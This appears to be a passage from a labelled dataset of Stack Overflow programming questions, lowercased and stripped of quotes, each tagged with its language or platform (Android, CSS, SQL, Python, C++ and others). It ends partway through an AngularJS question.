how do i split a tablerow evenly between both columns   i am generating tablerows dynamically. for each tablerow  there is a textview in one column and an edittext in the other. how do i generate the rows such that the textview takes up half the row and the edittext the other half     this is what i currently have:    the layout xml file   <pre><code>&lt;tablelayout android:layout_width= fill_parent          android:layout_height= fill_parent          android:stretchcolumns= *          android:id= @+id/formtable  /&gt; </code></pre>   the java source file   <pre><code>private treemap&lt;string  edittext&gt; textdata; ... protected void oncreate(bundle savedinstancestate) {     ...     textdata = populatemap();     ...     tablelayout table = (tablelayout) findviewbyid(r.id.formtable);     configuretablelayout(table textdata); }  private treemap&lt;string  edittext&gt; populatemap() {     treemap&lt;string  edittext&gt; map = new treemap&lt;string  edittext&gt;();      set&lt;string&gt; datatypeset = app.getworkingdatatypelist();     for (string datatypekey : datatypeset) {         edittext edit = new edittext(this);         edit.setlayoutparams(new viewgroup.layoutparams(                 viewgroup.layoutparams.fill_parent                  viewgroup.layoutparams.wrap_content));         edit.settext( 0 );         edit.sethorizontallyscrolling(true);         map.put(datatypekey  edit);     }      return map; }  private void configuretablelayout (tablelayout table           map&lt;string    extends view&gt; input) {     for (map.entry&lt;string    extends view&gt; entry : input.entryset()) {         addtablerow(table  entry.getkey()  entry.getvalue());     } }  private void addtablerow(tablelayout table  string datatypekey  view v) {     tablerow row = new tablerow(this);     row.setlayoutparams(new tablerow.layoutparams(             tablerow.layoutparams.fill_parent              tablerow.layoutparams.wrap_content));      textview textcol = new textview(this); // left column     textcol.settext(app.gettypenameforkey(datatypekey));     textcol.setlayoutparams(new tablerow.layoutparams(             tablerow.layoutparams.fill_parent              tablerow.layoutparams.fill_parent));     textcol.settextsize(typedvalue.complex_unit_sp  16);     textcol.sethorizontallyscrolling(true);      // right column     tablerow.layoutparams params = new tablerow.layoutparams(             tablerow.layoutparams.fill_parent              tablerow.layoutparams.wrap_content);     params.column = 1;     v.setlayoutparams(params);      row.addview(textcol);     row.addview(v);      table.addview(row); } </code></pre>   i have read <a href= https://stackoverflow.com/questions/1666685/android-stretch-columns-evenly-in-a-tablelayout >this post</a> already  but it s not exactly what i m looking for. my primary motivation for splitting each row evenly is that if one of the strings resulting from <code>app.gettypenameforkey(datatypekey)</code> (found in <code>addtablerow()</code>) is excessively long  it might cause the edittext column to become too small for readability.,android
disable a css rule in the style chain  i have a small problem and i m not sure there is a real way to do what i want easily.    i have multiple stylesheets available:   <ul> <li>a bootstrap stylesheet is loaded first</li> <li>multiple modules are loaded</li> </ul>   in one module  there is a rule like this:   <pre><code>.container .container {     padding-left: 0px;     padding-right: 0px;     width: auto; } </code></pre>   this effectively prevent me from using stacked containers in my layout. i d like to disable this rule.    i can technically override it before or after it is declared but i don t want to reset the styles... let say i just want this rule to cease to  work .    i tried to override it with:   <pre><code>    .container .container {         padding-left: inherit !important;         padding-right: inherit !important;                         width: inherit !important;     } </code></pre>   but that doesn t work. what i d like to achieve is effectively disable a style in the stylesheet chain since the bootstrap has multiple styles with media queries  it could be a bit complicated to reapply the bootstrap styles for the container after the css stylesheet that breaks my styles is loaded.    as far as i know there is no way to do that other than reapplying the styles.,css
what is the proper way to make a link open in a new tab   is target=_blank the best way or is there something else that has replaced it,html
how to change tab indicator color and text color while swiping tab using viewpager   this is my code. how to add tabindicator color and text color in this java class    <pre><code>protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);          actionbar  = getactionbar();         actionbar.setdisplayshowhomeenabled(false);  // hides action bar icon         actionbar.setdisplayshowtitleenabled(false); // hides action bar title          layoutinflater minflater = layoutinflater.from(this);       mcustomview = minflater.inflate(r.layout.custom_menu  null);          i = (imagebutton)mcustomview.findviewbyid(r.id.imagebutton);          actionbar.setdisplayshowcustomenabled(true);      e = (edittext)mcustomview. findviewbyid(r.id.edittext1);     e.setvisibility(mcustomview.invisible);            tabadapter = new sectionspageradapter(getsupportfragmentmanager());          tab = (viewpager)findviewbyid(r.id.pager);           tab.setonpagechangelistener(                 new viewpager.simpleonpagechangelistener() {                      @override                     public void onpageselected(int position) {                          actionbar = getactionbar();                         actionbar.setselectednavigationitem(position);                          }                 });           tab.setadapter(tabadapter);      //   tab.showcontextmenu();         actionbar = getactionbar();         //enable tabs on action bar       actionbar.setnavigationmode(actionbar.navigation_mode_tabs);                  // set background for action bar tab         actionbar.setstackedbackgrounddrawable(new colordrawable(color.parsecolor( #ffffff )));                 actionbar.show();          actionbar.tablistener tablistener = new actionbar.tablistener(){              @override             public void ontabreselected(android.app.actionbar.tab tab                      fragmenttransaction ft) {              }              @override              public void ontabselected(actionbar.tab tab  fragmenttransaction ft) {                   tab.setcurrentitem(tab.getposition());                  }              @override             public void ontabunselected(android.app.actionbar.tab tab                      fragmenttransaction ft) {                 // todo auto-generated method stub              }};             //add new tab             actionbar.addtab(actionbar.newtab().settext( spotlight ).settablistener(tablistener));             actionbar.addtab(actionbar.newtab().settext( what s new ).settablistener(tablistener));             actionbar.addtab(actionbar.newtab().settext( hot items ).settablistener(tablistener));     } } </code></pre>,android
"retrieving keys from an object by knowing its values  hi all...    <pre><code> var fruits = {          apple :  fruits/apple.png            banana :  fruits/banana.png            watermelon :  fruits/watermelon.jpg       }     var fruitskeys = object.keys(fruits);     var fruitsvalue = object.values(fruits); </code></pre>   im looking for a practical way to call back keys from an object through knowing its values .    to explain why i need that  i want to assign each value to a picture and by clicking the picture names keys will appear.     appreciate your support     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var imgholder = document.queryselectorall( #imageholder );
 var displayedchallengename = document.queryselector( #challengename );
 displayedchallengename.textcontent =  challenge ;
 
 var fruits = {
    apple :  fruits/apple.png  
    banana :  fruits/banana.png  
    watermelon :  fruits/watermelon.jpg  
    grapes :  fruits/grapes.png  
    orange :  fruits/orange.jpg  
    mango :  fruits/mango.jpg  
 }
  
 var fruitskeys = object.keys(fruits);
 var fruitsvalue = object.values(fruits);
 
 var displayedfruits = [];
 var repeated = 0;
 for(var i = 0; i&lt;10; i++){ 
   var z = fruitsvalue[justrandomnum()];
   if(displayedfruits.includes(z) ){
    repeated += 1;
   }else{
    displayedfruits.push(z);
   }
  }
 
 for(var i = 0; i&lt;imgholder.length; i++){
  imgholder[i].setattribute( src   displayedfruits[i]);
 
 }
 
 function challengename(){
  randomnum = math.floor(math.random() * fruitskeys.length);
  return fruitskeys[randomnum];
 
 }
 
 function justrandomnum(){
  randomnum = math.floor(math.random() * fruitsvalue.length);
  return randomnum;
 }</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>body { 
  background-color: #a8f2fe;
  margin: 0;
  }
 
 
 #h1 {
  background-color: #f9eaa0;
  padding-bottom: 12vh;
  text-align: center;
  padding-top: 10vh;
  font-family:  pangolin   cursive;
  font-weight: bold;
  font-size: 50px;
  color: #223481;
  border: 6px solid #4b9ae8;
 }
 
 #h2 {
  font-family:  pangolin   cursive;
  font-weight: bold;
  font-size: 50px;
  color: #223481;
 }
 
 #challengename {
  margin: 30px auto;
  font-size: 150%;
 }
 
 #holder { 
  height: 200px;
  width: 200px;
  overflow: hidden;
  position: relative;
  display: inline-block;
  margin: 0 10px;
 }
 
 .container { 
  margin: 30px auto;
 }
 
 .images {
  width: 100%;
  /*padding-bottom: 45%;*/
  position: absolute;
  display: block;
  background-color: white;
  /*right: 0;
  bottom: 0;*/
  float: left;
  /*margin: 2.5%;*/
  height: 100%;
  border: 2px solid #25336d;
  /*transition: all 0.3s;*/
  /*top: 50%;
    left: 50%;*/
   /* min-height: 100%;
    min-width: 100%;*/
   /* transform: translate(-50%  -50%);*/
 }
 
 #cont {
  margin: 20px auto;
  /*max-width: 400px;*/
 }
 
 #buttonsbar { 
  text-align: center;
  height: 40px;
  }
 
  #space { 
   display: inline-block;
   width: 5%;
   }
 button { 
  text-transform: uppercase;
  height: 100%;
  width: 120px;
 
  }
 
 
  button:hover { 
   color: yellow;
   background-color: gray;
   transition: 0.3s;
   }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;
  &lt;title&gt;names game&lt;/title&gt;
  &lt;link rel= stylesheet  type= text/css  href= namesgame.css &gt;
  &lt;link rel= stylesheet  type= text/css  href= https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css &gt;
  &lt;link href= https://fonts.googleapis.com/css family=pangolin  rel= stylesheet &gt;
  &lt;style type= text/css &gt;
       body { background: #a8f2fe !important; } /* adding !important forces the browser to overwrite the default style applied by bootstrap */
  &lt;/style&gt;
  &lt;link rel= stylesheet  href= https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css  integrity= sha384-9gvq4dyfwwwsjidznlewnxcjeswfphjiwgpxr1jddihoegiu1fwo5qrgvfxodjz4  crossorigin= anonymous &gt;
 &lt;!-- &lt;script src= https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js  integrity= sha384-uefmccjfjaiv6a+rw+l4ahf99kvxdjwsu1z9vi8sknvmz4sk7bukt/6v9ki65qnm  crossorigin= anonymous &gt;&lt;/script&gt; --&gt;
 &lt;/head&gt;
 &lt;body&gt;
  
   &lt;h1 id= h1 &gt;names and pictures game
    &lt;br&gt;
    &lt;br&gt;
    &lt;span id= challengename &gt;mango&lt;/span&gt;
   &lt;/h1&gt; 
 
 
  &lt;div id= buttonsbar &gt;
   &lt;button class= rounded &gt;start&lt;/button&gt;
   &lt;span id= space &gt;&lt;/span&gt;
   &lt;button class= rounded  &gt;reset&lt;/button&gt;
  &lt;/div&gt;
  
 
  &lt;div class= container &gt;
   &lt;div class= row d-flex justify-content-center &gt;
    &lt;div &gt;
     &lt;div id= holder  &gt;&lt;img id= imageholder  class= images  src=  &gt;&lt;/div&gt;
     &lt;div id= holder  &gt;&lt;img id= imageholder  class= images  src=  &gt;&lt;/div&gt;
    &lt;/div&gt;
    &lt;div &gt;
     &lt;div id= holder  &gt;&lt;img id= imageholder  class= images  src=  &gt;&lt;/div&gt;
     &lt;div id= holder  &gt;&lt;img id= imageholder  class= images  src=  &gt;&lt;/div&gt;
    &lt;/div&gt;
   &lt;/div&gt; 
  &lt;/div&gt;
 &lt;/body&gt;
 &lt;/html&gt;
 © 2018 github  inc.</code></pre>
 </div>
 </div>",javascript
html: the best way to using template in big website  i am going to write a big website  it has hundreds of html pages. there are some parts of the file using the same html code  such as the banner  the bottom disclaimer  etc. i want to update the common parts of the html in a batch when that parts are modified  i am seeking a way to efficiently do that. currently my solution is surround the tempates with html comments  and use linux script(sed mainly) to update it when necessary. like:   <pre><code>&lt;!-- template1 --&gt; &lt;!-- template1-end --&gt; </code></pre>   any better way,html
attempting to receive data from ajax call using jquery  i am trying to make an ajax call using jquery to a test.php file but it is not returning any data. can you please let me know what i am doing wrong       <pre><code>&lt;script src= //ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js &gt;&lt;/script&gt;  &lt;script&gt;  $(document).ready(function() {  $( #submit ).click(function(){      $.ajax({            type:  post          url:  http://192.168.1.21/opencart1/upload/admin/view/template/module/test.php          data: $( #url ).serialize()         success: function(msg) {           alert(data);           document.getelementbyid( pollcontent ).innerhtml = msg;        }    });   }) });           &lt;/script&gt;           &lt;div class= content &gt;         &lt;form id= theform &gt;           &lt;input type= text  name= url  value=   id= url  /&gt;           &lt;input type= button  name= submit  value= submit  id= submit /&gt;           &lt;/form&gt;           &lt;div id= pollcontent &gt;&lt;/div&gt; </code></pre>   this is the test.php file:   <pre><code>&lt; php $abc= hi ; echo $abc;  &gt; </code></pre>,jquery
select distinct while joining tables  i m new to sql. i would like to ask some help. how can i select only distinct values from a joined table    <pre><code>    select fc.indv_sys_id  distinct(fc.dt_sys_id)     from minihpdm..fact_claims as fc     inner join minihpdm..dim_date as d on fc.dt_sys_id = d.dt_sys_id </code></pre>   any help would be greatly appreciated.    thanks in advance!,sql
parse issue when using instancetype in objective-c  i met one issue when using <strong>instancetype</strong> keyword in objective-c. x-code show error expected a type when trying to building project.   <pre><code>+ (instancetype)clientwithbaseurl:(nsurl *)url; </code></pre>   do you have any idea on this problem,objective-c
what s the point of this code pattern   i was trying to create a python wrapper for an tk extension  so i looked at tkinter.py to learn how to do it.     while looking at that file  i found the following pattern appears a lot of times: an internal method (hinted by the leading  _  in the method name) is defined  then a public method is defined just to be the internal method.     i want to know what s the benefit of doing this.    for example  in the code for class misc:   <pre><code>def _register(self  func  subst=none  needcleanup=1):     # doc string and implementations is removed since it s not relevant register = _register </code></pre>   thank you.,python
how delete a property of object without  delete  operation  i need to delete the property of object. given an <code> id </code>  i must delete <code>value[id]</code>. i try this code:   <pre><code>delete value[id]; </code></pre>   but the delete operator deletes only a reference  never an object itself.anyone can suggest me any methods to delete forever a objects property,javascript
displaying contents in a table view as cells in a section  i have two arrays. one with student details and other with staff details. these details in array is obtained by changing the segments in a view controller. and i want to display these arrays in two sections as cell contents. how can i do that,objective-c
how can i write a list of lists into a txt file   i have a list of 16 elements  and each element is another 500 elements long.  i would like to write this to a txt file so i no longer have to create the list from a simulation.  how can i do this  and then access the list again,python
php math  loop variables  and display  i m currently having an issue where i m wanting to display the amount from a variable that runs through a while loop to gather information. the while loop will use multiple products  but i only want one end result to display. here is what i have:   <pre><code>$amountoff = null; $faceval = 20;  while($row = mysql_fetch_object($que)){   $val = $row-&gt;amount;   $price = $row-&gt;price;   $quantity = $row-&gt;quantity;   //if($faceval&gt;0){     if($faceval &gt;= 0){       if($faceval &lt; 0){         // do nothing       } else {         if($quantity &gt; 1){           if($quantity * $price &lt; $faceval){             $amountoff = $price * $quantity;             $faceval = $faceval - $val;           }         } else {           $amountoff = $price;           $faceval = $faceval - $val;         }       }     }   //}  } echo money_format( %(#10n   $amountoff); </code></pre>   <strong>my question:</strong> my question is why does my amount keep coming back blank or 0.00  with what i m testing my $val = 15.00  $price = 7.50  and $quantity = 1. i can t figure out how the math is breaking or coming back as 0.00/blank. any thoughts or suggestions  i m not getting any php errors or mysql errors; i m just not getting anything more than 0.00 as my returned value.     <strong>edit:</strong> i have modified the if statements by taking out the first if statement altogether and i m still getting a response of 0.00,php
er diagram participation constraints in sql  i m trying to understand converting er diagrams into sql create statements  but i am having a hard time with understanding how participation constraints work. in an er diagram a participation constrain is represented by a bold line which means that every tuple in the table must appear in the relationship table. if there is a participation constraint and a key constraint (total) it is possible to fulfil the key constrain.    is there ever a situation in which there is a way to enforce a participation constraint that isn t also a key constraint without using assertions or check constraints     <strong><em>edit</em></strong>    i was more confused about the whole concept as opposed to one particular example  but i was able to find an example that i drew out the diagram for that would illustrate my confusion. in the picture below we have a participation constraint and a key constraint from professors to teachers; therefore every professor must teach 1 class and only 1 class. this constraint can be enforced by having a professors_teach table as opposed to having two separate tables; by making the professors ssn the primary key there will only ever be 1 entry for each professor in the professors_teach table  and since it will have all the records that normally would be put in the professors table then every professor must be in the new table.     my confusion is in the participation constraint from course to teacher; basically what the diagram is saying is that every course must have at least one teacher; which i don t think can be enforced without using assertions or check constraints.     <a href= https://i.stack.imgur.com/79tr2.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/79tr2.jpg  alt= enter image description here ></a>,sql
can i change a div s opacity  when hovering over another div in css   i have a div containing an unordered list  and a div containing an image. i want to be able to make the image go transparent when i hover over the list.    is that possible using css  or do i need to use jquery,css
update duplicate column values based on count in mysql  i have a table like this   <pre><code>employeeid  name   companyid 1           achal      1 2           anil       1 3           anil       1 4           sachi      2 5           anil       2 6           sachi      1 7           sachi      2 </code></pre>   i want to update the names of the employee if multiple employees are there in a same company    my resultant table should be like this   <pre><code>employeeid  name   companyid 1           achal      1 2           anil(1)    1 3           anil(2)    1 4           sachi(1)   2 5           anil       2 6           sachi      1 7           sachi(2)   2 </code></pre>   my query is something like this   <pre><code>update tblemplayee emp  join  (   select sname count(*)    from tblemployee    group by sname companyid ) innertable    on innertable.employeeid=emp.employeeid  set sname = concat(sname  (     ) ) . </code></pre>   how can i change my query to get the result.,mysql
some conclusions about string literal and elements number of array  please give your opinion  from following codes i wrote:   <pre><code>#define elements_number_of(array) (sizeof(array) / sizeof(array[0]))   printf( \ abcdef\ [0]: %c\n    abcdef [0]); printf( elements number of \ abcdef\  is %d\n   elements_number_of( abcdef )); </code></pre>   i concluded that:   <ol> <li>string literal <code> abcdef </code> is a <code>char</code> array;</li> <li><code>sizeof(a)/sizeof(a[0])</code> can be used to compute any type array length.</li> </ol>   am i right,c
how to measure query execution time in mysql  i have doubt about how to calculate execution time of a query.i have ran one select command after execution it displaying   <pre><code>39999 rows in set (0.09 sec) </code></pre>   can i treat  0.09 sec  is execution time of my select query or not.,mysql
how can i fix undefined reference to  _imp_curl_easy_setopt  in c   extracting the curl folder in include path project and include them in code <em></em> then copy the content of lib folder there is two files <strong> libcurl.a libcurl.dll.a </strong> into lib path in <strong>mingw</strong> and linked it using eclipse ide.   <blockquote>    properties>c/c++ build>settings>mingw c linker>libraries  </blockquote>,c
create new contact view  i have been told to do the following:    implement contact add view  like below  and let him store in sql table  contacts will have name  phone no of mobile  work   fax  email .  view should look like below:    <img src= https://i.stack.imgur.com/lads7.png  alt= enter image description here >    <strong>my question:</strong> can you clarify me  should i use addressbook or simply a custom view and a sql database to save data from that custom view  i mean both the options are open here,iphone
processing of sql  i have a question regarding the processing of sql code. which of the following program is more efficient  or is it same     my understanding - the second program is more efficient as it subsets data before join   <pre><code>select a.custid  b.ref_date b.status from customertable a left join accounts b on a.custid = b.custid where  2015-01-01  &lt;= b.ref_date &lt;=  2016-01-01   select a.custid  b.ref_date b.status from customertable a left join (select * from accounts where  2015-01-01  &lt;= ref_date &lt;=  2016-01-01 ) b on a.custid = b.custid </code></pre>,sql
copy/duplicate file from source to destination folder using file  i am writing a sync operation between 2 folders.     effectively  i want the contents of a folder in the internal storage to be the same as the contents of a folder from the external sd card.    flow: 1) the target folder would delete all its .bmp files.  2) the .bmp files from the source folder will be copied to the target folder    i ve looked at the file class <a href= https://developer.android.com/reference/java/io/file.html  rel= nofollow noreferrer >here</a> from google. unable to find a method that allows you to copy a file.    any idea where can i find a class/method that enables me to do so,android
store as json or separate attributes   i m using rails 3.2 and mariadb. i have this group of data:   <pre><code>description  services  facilities </code></pre>   not indexed and purely for output in the show page. should i store these as one json object in one <code>more_info</code> attribute or store as separate attributes,ruby-on-rails
android: splash screen issues  on my android app  i have set up a splash screen. the splash screen opens when the app is opened and lasts for two seconds before it redirects to a login screen.    the issue i am having is that the splash screen displays once  and then re-directs to the login screen. but when i click on the app again it goes straight to the login screen ignoring the splash screen... is there a reason for this  does it automatically open on your last screen  because then if i hit the back button when it opens on the login screen it does go back to the splash screen but then doesn t redirect to the login screen after 2 seconds.    help !     thanks,android
"how to set random value into random input tag with javascript  assume i have 25 inputs into a container like below and i want to set value for 5 random input value equal to 5 and the other input have a value equal to 1. how can i do this    thanks in advance.    here is my code :    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>//create button
 var container_content = document.queryselector( .container-content );
 for(i=0;i&lt;25;i++){
     var btn = document.createelement( input );
     btn.type = button ;
     container_content.appendchild(btn);
 }
 //set class and value into container
 var btnall = document.getelementsbytagname( input );
 for(j=0;j&lt;btnall.length;j++){
     btnall[j].setattribute( class   button );
     //i was really confusing in this case
     btnall[j].setattribute( value  1)
 }</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>*{
     padding:0px;
     margin:0px;
 }
 .container{
     margin-top: 100px;
 }
 .container-content{
     width: 258px;
     height: 258px;
     margin:auto;
     display:flex;
     justify-content: space-around;
     flex-wrap: wrap;
     border:1px solid black;
 }
 .container input{
     width:50px;
     height:50px;
     background:gray;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;body&gt;
     &lt;div class= container &gt;
         &lt;div class= container-content &gt;
         &lt;/div&gt;
     &lt;/div&gt;
     &lt;script src= js.js &gt;&lt;/script&gt;
 &lt;/body&gt;</code></pre>
 </div>
 </div>",javascript
get an integer -unit digit in a simple way  i am not sure about my english  but i need to get the unit digit of an integer. without complex algorithm but with some api or another trick.    for example :   <pre><code>int a= 53; int b=76; </code></pre>   this i add because i almost always dont  meet the quality standards  to post! its drive me crazy! please   fix it ! it took me 10 shoots to post this and other issue also.    i need to get <code>a=3</code> and <code>b=6</code> in a simple smart way.    same about the other digit.    thanks a lot .,objective-c
updating several records for same object  ok i m really feeling i m missing the rails way on this one. following my last question <a href= https://stackoverflow.com/questions/7555901/rails-parameters-in-form-for/7556178#7556178 >rails parameters in form_for</a>  i can correctly update the message contents but am struggling with updating the recipients    my draft model   <pre><code>class draft &lt; activerecord::base  belongs_to :message belongs_to :draft_recipient  :class_name =&gt;  user  delegate :created_at  :subject  :user  :body  :draft_recipients   :to =&gt; :message ... </code></pre>   my message model   <pre><code>class message &lt; activerecord::base  belongs_to :user has_many :recipients  :through =&gt; :message_copies has_many :draft_recipients  :through =&gt; :drafts has_many :message_copies has_many :drafts  :class_name =&gt;  draft   :foreign_key =&gt; :message_id  attr_accessor :to #array  of people to send to attr_accessible :subject  :body  :to  :recipients  :author  :user ... </code></pre>   in my controller i want to do something like    <pre><code>new_draft_recipients = params[:draft][:draft_recipients].split(   ) @draft.update_attributes(:draft_recipients =&gt; new_draft_recipients) </code></pre>   which obviously doesn t work. when i try update each record comparing old (from the database )and new recipients (passed through the form)  the algorithm gets ridiculously complicated. i feel what is missing is proper associations  but i don t manage to understand which. i know this is really simple. thanks for your help,ruby-on-rails
c# if or statement to specify subject  i am trying to code an <code>if</code> or statement with an <code>else if</code> to follow up to change an email subject header depending on the rag (red amber green) status of application checks.     the <code>if</code> statement checks for the condition of a groupbox <code>backcolor</code>. at the moment the statement only returns green unless all applications are amber and the subject changes to amber or the same for red.    i am looking for one failure to then change the subject.    the code i have put together is below:   <pre><code>if ((app1.backcolor == color.green) | (app2.backcolor == color.green) | (app3.backcolor == color.green) | (app4.backcolor == color.green)) {     omailitem.subject =  application start of day status green   + date; }  else if ((app1.backcolor == color.orange) | (app2.backcolor == color.orange) | (app3.backcolor == color.orange) | (app4.backcolor == color.orange)) {     omailitem.subject =  application start of day status amber   + date; }  else if ((app1.backcolor == color.red) | (app2.backcolor == color.red) |  (app3.backcolor == color.red) | (app4.backcolor == color.red)) {     omailitem.subject =  application start of day status red   + date; } </code></pre>   i am fairly new to coding in c# using visual studio and up to now have found an answer for most things i have had an issue with  but this one i have search both here and on other sites.  any help would be greatly appreciated.,c#
possible to limit the number of times a value can be inserted   i have a temp table with the following (the table has 1064 records with 25 different revid. each revid is currently listed in the table with a count anywhere from 30-55 times. each degreeno is in the table 4 times and requires a different revid. the goal is to have each revid in the table the same amount of times. in this case  each revid should have a count = 22.    goal: 1. assign a revid to the degreeno where the major is not equal to the short_plan 2. revid can only be assigned 22 times.    <strong>tempnomtable</strong>   <pre><code>**revid    degreeno   major** uf1        12345678    sociol uf3        12345678    sociol ugk        12345678    sociol khs        12345678    sociol uf25       01234555    design uf6        01234555    design uf1        01234555    design uf3        01234555    design </code></pre>   <strong>#tempr table</strong>   <pre><code>**revid     short_plan** uf1       dentist uf2       vet uf3       guess uf4       hr uf5       design ...  ... </code></pre>  <h2>mult_nom table</h2>  <pre><code>**degreeno   major  comp_id**  12345678    sociol   2  01234555    design   2 </code></pre>   this is the query that is inserting into the temp table:   <pre><code>    with match_nwithr as(     select distinct      degreeno       rtrim(major) as major      count(1) as rowcnt       comp_id from  #mult_nom group by  degreeno            rtrim(major)           comp_id )   rownum_matches as ( select  m.degreeno           m.major          t.revid          m.rowcnt          m.comp_id         row_number() over (partition by m. degreeno order by newid()) as rownum         from match_nwithr m       join #tempr t on t.short_plan != m.major        group by  m.degreeno  m.major        t.revid  m.rowcnt  m.comp_id       having count(t.revid) &lt;= 22   )    insert into #tempnomtable   select  revid   degreeno  major  comp_id   from rownum_matches rm    where rownum &lt;= rowcnt    group by revid  degreeno  major  comp_id   having count(revid) &lt;= 22 </code></pre>   i have even tried using an update cursor to just update the revid if the count is > 22 but that is not working either. any suggestions would be appreciated.,sql
i am trying to insert a newline and make all of the characters uppercase in a python file. how can i do this without duplcate lines <pre><code>fname = raw_input( enter filename: )  fh = open( words.txt    r )  count = 0 for line in fh:     print line.strip()     print line.upper()     count = count + 1 </code></pre>,python
finding duplicates that aren t duplicates in a mysql table  i have a table set up as follows   <pre><code>id origin destination carrier_id </code></pre>   so typical row could be     <pre><code>100: london    manchester  366 </code></pre>   now each route goes both ways  so there shouldn t be a row like this   <pre><code>233: manchester    london    366 </code></pre>   since that s essentially the same route (for my purposes anyway)    unfortunately though  i have wound up with a handful of duplicates. i have over 50 000 routes made up of around 2000 point of origin (or destination  however you want to look at it) in the table. so i m thinking looping through each point of origin to find duplicates would be insane.     so i don t even know where to start trying to figure out a query to identify them. any ideas,mysql
simplifying my program to convert numbers to from one base to another  i m taking a beginner c++ course. i received an assignment telling me to write a program that converts an arbitrary number from any base between binary and hex to another base between binary and hex. i was asked to use separate functions to convert to and from base 10. it was to help us get used to using arrays. (we already covered passing by reference previously in class.) i already turned this in  but i m pretty sure this wasn t how i was meant to do it:   <pre><code>#include &lt;iostream&gt; #include &lt;conio.h&gt; #include &lt;cstring&gt; #include &lt;cmath&gt;  using std::cout; using std::cin; using std::endl;  int to_dec(char value[]  int starting_base); char* from_dec(int value  int ending_base);  int main() {     char value[30];     int starting_base;     int ending_base;     cout &lt;&lt;  this program converts from one base to another  so long as the bases are  &lt;&lt; endl         &lt;&lt;  between 2 and 16.  &lt;&lt; endl         &lt;&lt; endl; input_numbers:     cout &lt;&lt;  enter the number  then starting base  then ending base:  &lt;&lt; endl;     cin &gt;&gt; value &gt;&gt; starting_base &gt;&gt; ending_base;     if (starting_base &lt; 2 || starting_base &gt; 16 || ending_base &lt; 2 || ending_base &gt; 16) {         cout &lt;&lt;  invalid base(s).  ;         goto input_numbers;     }     for (int i=0; value[i]; i++) value[i] = toupper(value[i]);     cout &lt;&lt;  base   &lt;&lt; ending_base &lt;&lt;  :   &lt;&lt; from_dec(to_dec(value  starting_base)  ending_base) &lt;&lt; endl         &lt;&lt;  press any key to exit. ;     getch();     return 0; }  int to_dec(char value[]  int starting_base) {     char hex[16] = { 0    1    2    3    4    5    6    7    8    9    a    b    c    d    e    f };     long int return_value = 0;     unsigned short int digit = 0;     for (short int pos = strlen(value)-1; pos &gt; -1; pos--) {         for (int i=0; i&lt;starting_base; i++) {             if (hex[i] == value[pos]) {                 return_value+=i*pow((float)starting_base  digit++);                 break;             }         }     }     return return_value; }  char* from_dec(int value  int ending_base) {     char hex[16] = { 0    1    2    3    4    5    6    7    8    9    a    b    c    d    e    f };     char *return_value = (char *)malloc(30);     unsigned short int digit = (int)ceil(log10((double)(value+1))/log10((double)ending_base));     return_value[digit] = 0;     for (; value != 0; value/=ending_base) return_value[--digit] = hex[value%ending_base];     return return_value; } </code></pre>   i m pretty sure this is more advanced than it was meant to be. how do you think i was supposed to do it      i m essentially looking for two kinds of answers:   <ol> <li>examples of what a simple solution like the one my teacher probably expected would be.</li> <li>suggestions on how to improve the code.</li> </ol>,c++
aspnet compiler errors popups  this aspnet_compiler.exe keeps popup-ing into my window almost every 30 seconds and it irritates me. i already research how to fix this but seems i cant find any. hope somebody can help me fix this issue because i cannot work properly.    thanks    <a href= https://i.stack.imgur.com/1zrzf.png  rel= nofollow ><img src= https://i.stack.imgur.com/1zrzf.png  alt= aspnet_compiler.exe ></a>,asp.net
is objects created using com  will take heap allocated or stack allocated memory   is objects created using com(component object model) in c++  will take heap allocated or stack allocated memory,c++
share a video to vimeo on ios 7  how does one share a video to vimeo using the added support to the social framework on ios 7     this seems pretty new  haven t found any info on this.,ios
how to play video in open gles  i am having problem with mpmovieplayer( i want to customize the mpmovieplayer).     <strong>can anyone tell me how to play video using open gles in iphone   </strong>    i want to do buffer level handling of the video streams....    thanks in advance,iphone
is it possible to combine 4 sound track in single track  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3359313/merge-audio-files-on-iphone >merge audio files on iphone</a>    </blockquote>     i want to combine 4 sound records together.  my app record sound tracks one by one . after finish with recording  i have to combine those recorded tracks in single sound track for play and share.    is it can be done with the help of avassetwriter.,iphone
"grouping alerts in angularjs i want to group alerts based on notificationsubject. if > notificationsubject key value length(dosminus) > 1 means it will > display in first div and  notificationsubject key value length (dos > etc) == 1 means it will display in second div for example  following > json contains notificationsubject = dosminus are there in 2 times and > remaining each one record. i want to display  dosminus  in 1st div and > remaining alerts in 2nd div.  ** -->   <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var myapp = angular.module( myapp   []);
 myapp.controller( myctrl   [ $scope   function ($scope) {
     $scope.alerts = {
          display_alert_details : [
             {
                  alertraiseduserid : 1215
                    source : 1
                    clienttimestamp : 1492732800000
                    severity :  low 
                    createdbyme :  y 
                    notificationsubject :  dosminus 
                    notificationdetails :  lorem ipsum is simply dummy text of the printing and typesetting industry. 
     }
 
           {
                  alertraiseduserid : 1215
                    source : 1
                    clienttimestamp : 1492732800000
                    severity :  low 
                    createdbyme :  y 
                    notificationsubject :  dosminus 
                    notificationdetails :  lorem ipsum is simply dummy text of the printing and typesetting industry. 
     }
 
           {
                  alertraiseduserid : 1215
                    source : 1
                    clienttimestamp : 1492992000000
                    severity :  low 
                    createdbyme :  y 
                    notificationsubject :  dos 
                    notificationdetails :  lorem ipsum has been the industry s standard dummy text ever since the 1500s 
     }
           {
